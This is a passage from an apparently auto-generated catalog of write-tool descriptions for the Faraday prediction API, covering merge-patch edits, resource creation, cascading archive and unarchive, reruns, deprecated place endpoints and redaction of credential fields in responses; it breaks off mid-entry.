faraday_patch_knowledgebase_overview (write) — Update the account overview via PATCH /knowledgebase/overview. Save a new revision of the account overview. Optimistic locking: pass back the `revision_id` you read; if the server's current revision has moved past it, the request is rejected with 409. Omit `revision_id` only when the overview has never been written before. PATCH /api/v1/faraday/knowledgebase/overview. Scopes: api. faraday_patch_knowledgebase_use_cases_by_use_case_id (write) — Update a use case via PATCH /knowledgebase/use_cases/{use_case_id}. Save a new revision of a use case. Optimistic locking: pass back the `revision_id` you read; if the server's current revision has moved past it, the request is rejected with 409. Fields not present are left at their current values. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/knowledgebase/use_cases/{use_case_id}. Scopes: api. faraday_patch_market_opportunity_analyses_by_market_opportunity_analysis_id (write) — Update a specific market opportunity analysis via PATCH /market_opportunity_analyses/{market_opportunity_analysis_id}. PATCH /api/v1/faraday/market_opportunity_analyses/{market_opportunity_analysis_id}. Scopes: api. faraday_patch_migrations_by_migration_id (write) — Update a migration via PATCH /migrations/{migration_id}. Update a migration with a JSON Merge Patch. Configuration fields (`notes`, `datasets`, `targets`, `cohorts`, `outcomes`, `persona_sets`, `recommenders`) may be changed only by the owning FIG v2 account while the migration is unapproved. Either linked account may provide a non-null `approved_at` to queue the account move. The server records the approval time; repeated approval requests succeed without changing the first approval. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/migrations/{migration_id}. Scopes: api. faraday_patch_outcomes_by_outcome_id (write) — Edit an outcome via PATCH /outcomes/{outcome_id}. Edit configuration of an existing outcome. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/outcomes/{outcome_id}. Scopes: api. faraday_patch_persona_sets_by_persona_set_id (write) — Edit a persona set via PATCH /persona_sets/{persona_set_id}. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/persona_sets/{persona_set_id}. Scopes: api. faraday_patch_persona_sets_by_persona_set_id_personas_by_persona_id (write) — Edit a persona via PATCH /persona_sets/{persona_set_id}/personas/{persona_id}. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/persona_sets/{persona_set_id}/personas/{persona_id}. Scopes: api. faraday_patch_places_by_place_id (write) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Update place via PATCH /places/{place_id}. Update an existing place. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. See PATCH /atlases/{atlas_id}. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/places/{place_id}. Scopes: api. faraday_patch_recommenders_by_recommender_id (write) — Edit a recommender via PATCH /recommenders/{recommender_id}. Edit configuration of a recommender. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/recommenders/{recommender_id}. Scopes: api. faraday_patch_scopes_by_scope_id (write) — Update a scope via PATCH /scopes/{scope_id}. Update the configuration of a scope. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/scopes/{scope_id}. Scopes: api. faraday_patch_streams_by_stream_id_or_name (write) — Update a stream via PATCH /streams/{stream_id_or_name}. Update the configuration of a stream. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/streams/{stream_id_or_name}. Scopes: api. faraday_patch_targets_by_target_id (write) — Update a target via PATCH /targets/{target_id}. Update the configuration of a target. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. PATCH /api/v1/faraday/targets/{target_id}. Scopes: api. faraday_patch_traits_by_trait_id (write) — Update a trait via PATCH /traits/{trait_id}. Update the configuration of a trait. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/traits/{trait_id}. Scopes: api. faraday_patch_webhook_endpoints_by_webhook_endpoint_id (write) — Update a webhook endpoint via PATCH /webhook_endpoints/{webhook_endpoint_id}. Update the configuration of a webhook endpoint. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. PATCH /api/v1/faraday/webhook_endpoints/{webhook_endpoint_id}. Scopes: api. faraday_post_accounts (write) — Create account via POST /accounts. Create a subaccount. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. POST /api/v1/faraday/accounts. Scopes: api. faraday_post_atlases (write) — Create atlas via POST /atlases. Create a new atlas. POST /api/v1/faraday/atlases. Scopes: api. faraday_post_atlases_by_atlas_id_archive (write) — Archive an atlas via POST /atlases/{atlas_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/atlases/{atlas_id}/archive. Scopes: api. faraday_post_atlases_by_atlas_id_force_update (write) — Trigger a rerun for this resource via POST /atlases/{atlas_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/atlases/{atlas_id}/force_update. Scopes: api. faraday_post_atlases_by_atlas_id_unarchive (write) — Unarchive an atlas via POST /atlases/{atlas_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/atlases/{atlas_id}/unarchive. Scopes: api. faraday_post_attributes (write) — Create attribute via POST /attributes. Add a new attribute that wraps a stream of assertions. POST /api/v1/faraday/attributes. Scopes: api. faraday_post_attributes_by_attribute_id_force_update (write) — Trigger a rerun for this resource via POST /attributes/{attribute_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/attributes/{attribute_id}/force_update. Scopes: api. faraday_post_cohorts (write) — Create cohort via POST /cohorts. Add a new cohort (defined as people who have made qualifying emissions of certain events). POST /api/v1/faraday/cohorts. Scopes: api. faraday_post_cohorts_by_cohort_id_archive (write) — Archive a cohort via POST /cohorts/{cohort_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/cohorts/{cohort_id}/archive. Scopes: api. faraday_post_cohorts_by_cohort_id_force_update (write) — Trigger a rerun for this resource via POST /cohorts/{cohort_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/cohorts/{cohort_id}/force_update. Scopes: api. faraday_post_cohorts_by_cohort_id_unarchive (write) — Unarchive a cohort via POST /cohorts/{cohort_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/cohorts/{cohort_id}/unarchive. Scopes: api. faraday_post_connections (write) — Create connection via POST /connections. Add a new connection. Connections are configuration for connecting data between Faraday and an external location. They are required when working with **replication targets**. All connections have a `type` that determines which options may be specified. Connection `type` is specified in the `options` object. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. POST /api/v1/faraday/connections. Scopes: api. faraday_post_connections_by_connection_id_archive (write) — Archive a connection via POST /connections/{connection_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/connections/{faraday_connection_id}/archive. Scopes: api. faraday_post_connections_by_connection_id_force_update (write) — Trigger a rerun for this resource via POST /connections/{connection_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/connections/{faraday_connection_id}/force_update. Scopes: api. faraday_post_connections_by_connection_id_rotate_credentials (write) — Rotate credentials for a connection via POST /connections/{connection_id}/rotate_credentials. Rotate credentials for a Snowflake or ClickHouse connection. This regenerates the connection type's keypair. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. POST /api/v1/faraday/connections/{faraday_connection_id}/rotate_credentials. Scopes: api. faraday_post_connections_by_connection_id_unarchive (write) — Unarchive a connection via POST /connections/{connection_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/connections/{faraday_connection_id}/unarchive. Scopes: api. faraday_post_datasets (write) — Create dataset via POST /datasets. Create a new dataset. POST /api/v1/faraday/datasets. Scopes: api. faraday_post_datasets_by_dataset_id_archive (write) — Archive a dataset via POST /datasets/{dataset_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/datasets/{dataset_id}/archive. Scopes: api. faraday_post_datasets_by_dataset_id_force_update (write) — Trigger a rerun for this resource via POST /datasets/{dataset_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/datasets/{dataset_id}/force_update. Scopes: api. faraday_post_datasets_by_dataset_id_unarchive (write) — Unarchive a dataset via POST /datasets/{dataset_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/datasets/{dataset_id}/unarchive. Scopes: api. faraday_post_feature_stores (write) — Create feature store via POST /feature_stores. Add a new feature store that compiles attributes. POST /api/v1/faraday/feature_stores. Scopes: api. faraday_post_feature_stores_by_feature_store_id_force_update (write) — Trigger a rerun for this resource via POST /feature_stores/{feature_store_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/feature_stores/{feature_store_id}/force_update. Scopes: api. faraday_post_knowledgebase_use_case_checklist (write) — Real-time checklist for a use-case draft via POST /knowledgebase/use_case_checklist. A fast, text-only completeness check for a use case still being written: given the draft `title`, `preface`, and `technical_details`, it returns the use case's `flavor` and a per-flavor checklist of requirements, each marked covered / partial / missing. Intended to be called (debounced) as the author types. Ephemeral — nothing is persisted, and it does not gate anything (the review does). Runs on a fast model, so it is guidance rather than an authoritative verdict. POST /api/v1/faraday/knowledgebase/use_case_checklist. Scopes: api. faraday_post_knowledgebase_use_cases (write) — Create a use case via POST /knowledgebase/use_cases. Create a new use case under the calling account. POST /api/v1/faraday/knowledgebase/use_cases. Scopes: api. faraday_post_knowledgebase_use_cases_by_use_case_id_archive (write) — Archive a use case via POST /knowledgebase/use_cases/{use_case_id}/archive. Archive a use case. Use cases have no downstream dependents so no cascade configuration is required. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/knowledgebase/use_cases/{use_case_id}/archive. Scopes: api. faraday_post_knowledgebase_use_cases_by_use_case_id_generate_guide (write) — Generate an implementation guide for a use case via POST /knowledgebase/use_cases/{use_case_id}/generate_guide. Request generation of an implementation guide for a use case, from its `preface` and `technical_details`. Enqueues the generation and returns it immediately with `status: "pending"`; it is filled in asynchronously. A guide is only produced once the use case's latest review judged it adequate, and never for a use case marked `draft`. Poll the use case (its computed `guide_generation` field) to see the result; when `status` is `"ready"`, the guide's Markdown is on `generated_guide`. POST /api/v1/faraday/knowledgebase/use_cases/{use_case_id}/generate_guide. Scopes: api. faraday_post_knowledgebase_use_cases_by_use_case_id_review (write) — Request a review of a use case via POST /knowledgebase/use_cases/{use_case_id}/review. Request an agentic review of a use case: does it carry enough — its preface plus technical details — to generate a correct implementation guide and to audit the account against it? Enqueues the review and returns it immediately with `status: "pending"`; it is filled in asynchronously. Poll the use case (its computed `review` field) or read this response's `id` to see the result once `status` is `"ready"`. POST /api/v1/faraday/knowledgebase/use_cases/{use_case_id}/review. Scopes: api. faraday_post_knowledgebase_use_cases_by_use_case_id_unarchive (write) — Unarchive a use case via POST /knowledgebase/use_cases/{use_case_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/knowledgebase/use_cases/{use_case_id}/unarchive. Scopes: api. faraday_post_market_opportunity_analyses (write) — Create a new market opportunity analysis via POST /market_opportunity_analyses. POST /api/v1/faraday/market_opportunity_analyses. Scopes: api. faraday_post_market_opportunity_analyses_by_market_opportunity_analysis_id_archive (write) — Archive a specific market opportunity analysis via POST /market_opportunity_analyses/{market_opportunity_analysis_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/market_opportunity_analyses/{market_opportunity_analysis_id}/archive. Scopes: api. faraday_post_market_opportunity_analyses_by_market_opportunity_analysis_id_force_update (write) — Trigger a rerun for this resource via POST /market_opportunity_analyses/{market_opportunity_analysis_id}/force_update. POST /api/v1/faraday/market_opportunity_analyses/{market_opportunity_analysis_id}/force_update. Scopes: api. faraday_post_market_opportunity_analyses_by_market_opportunity_analysis_id_unarchive (write) — Unarchive a specific market opportunity analysis via POST /market_opportunity_analyses/{market_opportunity_analysis_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/market_opportunity_analyses/{market_opportunity_analysis_id}/unarchive. Scopes: api. faraday_post_migrations (write) — Create a migration via POST /migrations. POST /api/v1/faraday/migrations. Scopes: api. faraday_post_migrations_by_migration_id_force_update (write) — Trigger a rerun for this resource via POST /migrations/{migration_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/migrations/{migration_id}/force_update. Scopes: api. faraday_post_outcomes (write) — Create outcome via POST /outcomes. Add a new outcome (defined as a prediction of how likely individuals are to transition from one cohort to another). POST /api/v1/faraday/outcomes. Scopes: api. faraday_post_outcomes_by_outcome_id_archive (write) — Archive a outcome via POST /outcomes/{outcome_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/outcomes/{outcome_id}/archive. Scopes: api. faraday_post_outcomes_by_outcome_id_force_update (write) — Trigger a rerun for this resource via POST /outcomes/{outcome_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/outcomes/{outcome_id}/force_update. Scopes: api. faraday_post_outcomes_by_outcome_id_unarchive (write) — Unarchive a outcome via POST /outcomes/{outcome_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/outcomes/{outcome_id}/unarchive. Scopes: api. faraday_post_persona_sets (write) — Create persona set via POST /persona_sets. Invoke the build of a new persona set for a given cohort. POST /api/v1/faraday/persona_sets. Scopes: api. faraday_post_persona_sets_by_persona_set_id_archive (write) — Archive a persona set via POST /persona_sets/{persona_set_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/persona_sets/{persona_set_id}/archive. Scopes: api. faraday_post_persona_sets_by_persona_set_id_force_update (write) — Trigger a rerun for this resource via POST /persona_sets/{persona_set_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/persona_sets/{persona_set_id}/force_update. Scopes: api. faraday_post_persona_sets_by_persona_set_id_unarchive (write) — Unarchive a persona set via POST /persona_sets/{persona_set_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/persona_sets/{persona_set_id}/unarchive. Scopes: api. faraday_post_places (write) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Create place via POST /places. Create a new place. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. Build new spatial filters on an atlas: see POST /atlases. POST /api/v1/faraday/places. Scopes: api. faraday_post_places_by_place_id_archive (write) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Archive a place via POST /places/{place_id}/archive. Archive a place. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. See POST /atlases/{atlas_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/places/{place_id}/archive. Scopes: api. faraday_post_places_by_place_id_force_update (write) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Trigger a rerun for this resource via POST /places/{place_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. See POST /atlases/{atlas_id}/force_update. POST /api/v1/faraday/places/{place_id}/force_update. Scopes: api. faraday_post_places_by_place_id_unarchive (write) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Unarchive a place via POST /places/{place_id}/unarchive. Unarchive a place. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. See POST /atlases/{atlas_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/places/{place_id}/unarchive. Scopes: api. faraday_post_recommenders (write) — Create recommender via POST /recommenders. Add a new recommender. This feature is experimental and subject to change. To enable this feature, contact your account manager. POST /api/v1/faraday/recommenders. Scopes: api. faraday_post_recommenders_by_recommender_id_archive (write) — Archive a recommender via POST /recommenders/{recommender_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/recommenders/{recommender_id}/archive. Scopes: api. faraday_post_recommenders_by_recommender_id_force_update (write) — Trigger a rerun for this resource via POST /recommenders/{recommender_id}/force_update. POST /api/v1/faraday/recommenders/{recommender_id}/force_update. Scopes: api. faraday_post_recommenders_by_recommender_id_unarchive (write) — Unarchive a recommender via POST /recommenders/{recommender_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/recommenders/{recommender_id}/unarchive. Scopes: api. faraday_post_scopes (write) — Create scope via POST /scopes. Add a new scope. POST /api/v1/faraday/scopes. Scopes: api. faraday_post_scopes_by_scope_id_archive (write) — Archive a scope via POST /scopes/{scope_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/scopes/{scope_id}/archive. Scopes: api. faraday_post_scopes_by_scope_id_force_update (write) — Trigger a rerun for this resource via POST /scopes/{scope_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/scopes/{scope_id}/force_update. Scopes: api. faraday_post_scopes_by_scope_id_unarchive (write) — Unarchive a scope via POST /scopes/{scope_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/scopes/{scope_id}/unarchive. Scopes: api. faraday_post_streams_by_stream_id_or_name_archive (write) — Archive a stream via POST /streams/{stream_id_or_name}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/streams/{stream_id_or_name}/archive. Scopes: api. faraday_post_streams_by_stream_id_or_name_force_update (write) — Trigger a rerun for this resource via POST /streams/{stream_id_or_name}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/streams/{stream_id_or_name}/force_update. Scopes: api. faraday_post_streams_by_stream_id_or_name_unarchive (write) — Unarchive a stream via POST /streams/{stream_id_or_name}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/streams/{stream_id_or_name}/unarchive. Scopes: api. faraday_post_streams_by_stream_name (write) — Create a stream via POST /streams/{stream_name}. Look up (or create) an event stream by name. POST /api/v1/faraday/streams/{stream_name}. Scopes: api. faraday_post_targets (write) — Create target via POST /targets. Add a new target. Targets are configuration for exporting data from Faraday, possibly to an external environment (with /connections). There are three types of targets:
Target typeDescriptionAPI requirement
PublicationFaraday hosts your predictions for convenient retrieval as needed.Specify a type of hosted_csv in options. Omit connection_id.
ReplicationFaraday copies your predictions to systems you control. You may then push them to third parties like Facebook, Google Ads, etc.Specify a valid connection_id and the corresponding type of the connection in options.
ManagedFaraday manages a push to third parties like Facebook, Google Ads, and more.Must be on an enterprise plan. Contact Customer Success to set up.
. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. POST /api/v1/faraday/targets. Scopes: api. faraday_post_targets_by_target_id_archive (write) — Archive a target via POST /targets/{target_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/targets/{target_id}/archive. Scopes: api. faraday_post_targets_by_target_id_force_update (write) — Trigger a rerun for this resource via POST /targets/{target_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/targets/{target_id}/force_update. Scopes: api. faraday_post_targets_by_target_id_lookup (write) — Perform a lookup on the target, if its type is Lookup API via POST /targets/{target_id}/lookup. Use either PII or a spatial aggregate to retrieve the payload of a Lookup API target. See the Lookup API specification's [quickstart](https://faraday.ai/docs/features/lookup-api#retrieve-predictions) for more details, including examples. POST /api/v1/faraday/targets/{target_id}/lookup. Scopes: api. faraday_post_targets_by_target_id_preview (write) — Start a preview delivery via POST /targets/{target_id}/preview. Trigger a preview delivery (first 1000 results) of a target. POST /api/v1/faraday/targets/{target_id}/preview. Scopes: api. faraday_post_targets_by_target_id_unarchive (write) — Unarchive a target via POST /targets/{target_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/targets/{target_id}/unarchive. Scopes: api. faraday_post_traits (write) — Create a Trait via POST /traits. Create a new user-defined Trait. You can connect your uploaded data to this trait by sending a PATCH to the relevant dataset with `output_to_traits` defined. POST /api/v1/faraday/traits. Scopes: api. faraday_post_traits_by_trait_id_archive (write) — Archive a trait via POST /traits/{trait_id}/archive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/traits/{trait_id}/archive. Scopes: api. faraday_post_traits_by_trait_id_force_update (write) — Trigger a rerun for this resource via POST /traits/{trait_id}/force_update. Trigger a rerun for this resource. Faraday automatically updates resources when their config changes, but this option is available in case of transient errors. POST /api/v1/faraday/traits/{trait_id}/force_update. Scopes: api. faraday_post_traits_by_trait_id_unarchive (write) — Unarchive a trait via POST /traits/{trait_id}/unarchive. Archiving and unarchiving CASCADE. cascade_to_all archives the resource and everything downstream of it (or, when unarchiving, everything upstream); cascade_to limits the cascade to the listed resource ids and makes the call fail rather than touch anything outside the list. Sending neither fails if any related resource would have been affected, which is the safe default. POST /api/v1/faraday/traits/{trait_id}/unarchive. Scopes: api. faraday_post_webhook_endpoints (write) — Create webhook endpoint via POST /webhook_endpoints. Add a new webhook endpoint. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, 